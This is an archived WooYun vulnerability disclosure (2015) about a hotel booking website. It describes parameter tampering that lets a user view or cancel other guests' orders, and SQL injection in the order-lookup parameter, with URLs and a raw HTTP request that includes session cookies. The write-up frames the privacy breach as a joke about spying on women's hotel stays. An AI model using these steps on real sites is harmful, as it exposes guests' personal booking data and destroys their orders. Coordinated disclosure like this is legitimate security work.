当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0152572

漏洞标题： 平谦国际酒店多个漏洞越权／SQL注入打包

相关厂商：平谦国际酒店

漏洞作者： 路人甲

提交时间：2015-11-10 23:45

修复时间：2016-01-11 15:32

公开时间：2016-01-11 15:32

漏洞类型：设计缺陷/逻辑错误

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-11-10： 细节已通知厂商并且等待厂商处理中
2015-11-20： 厂商已经确认，细节仅向厂商公开
2015-11-30： 细节向核心白帽子及相关领域专家公开
2015-12-10： 细节向普通白帽子公开
2015-12-20： 细节向实习白帽子公开
2016-01-11： 细节向公众公开

简要描述：

RT

详细说明：

双11监控女神开房之某国际酒店订单信息遍历

登录状态下访问：http://**.**.**.**/member_lookorder.asp?oid=555   改变oid参数即可


3829629D-E96C-424B-9A49-4EC606DF91F8.png


F5EEE1C7-7973-4C7B-9ABE-6DD1485E50D3.png


双监控女神开房之某国际酒店越权取消全站订单。（阻止女神开房）

61453414-4F60-4642-A9D9-E821B9541C57.png


记下订单id 554
登录状态下 访问：http://**.**.**.**/member_order.asp?type=del&id=554
遍历订单id

3D688360-C111-40F5-9ECF-2B2A7F573E6D.png


访问前：

0AD9253A-B614-4AB8-845E-4AA7AC453ECD.png


访问后：

DD893B93-5736-49A5-9E85-E397E29E549B.png

漏洞证明：

双11监控女神开房之某国际酒店SQL注入，涉及9库。（开房信息泄露）

7219C6FD-E539-4207-9463-F85CBBD5F72D.png


GET /member_lookorder.asp?oid=555 HTTP/1.1
Host: **.**.**.**
Accept-Encoding: gzip, deflate
Cookie: ASPSESSIONIDQATSCCTQ=JEFDKHMCMLICMKBFKHCGHLBD; silang=Member%5Fdate2=2015%2D11%2D7+13%3A47%3A50&Member%5FName=%C0%FB%CC%CE%C3%F9&Member%5FPwd=f2Q%2Dnk2%2DAX5%2D7XV&Member%5FUid=tomatotest
Connection: keep-alive
Proxy-Connection: keep-alive
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11) AppleWebKit/601.1.56 (KHTML, like Gecko) Version/9.0 Safari/601.1.56
Accept-Language: zh-cn
Referer: http://**.**.**.**/member_order.asp
Cache-Control: max-age=0
注入点：oid


88BDE935-23E9-460C-87ED-A104549A61B4.png

修复方案：

权限控制

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：8

确认时间：2015-11-20 16:43

厂商回复：

CNVD确认并复现所述情况，已由CNVD通过网站管理方公开联系渠道向其邮件通报，由其后续提供解决方案。

最新状态：

暂无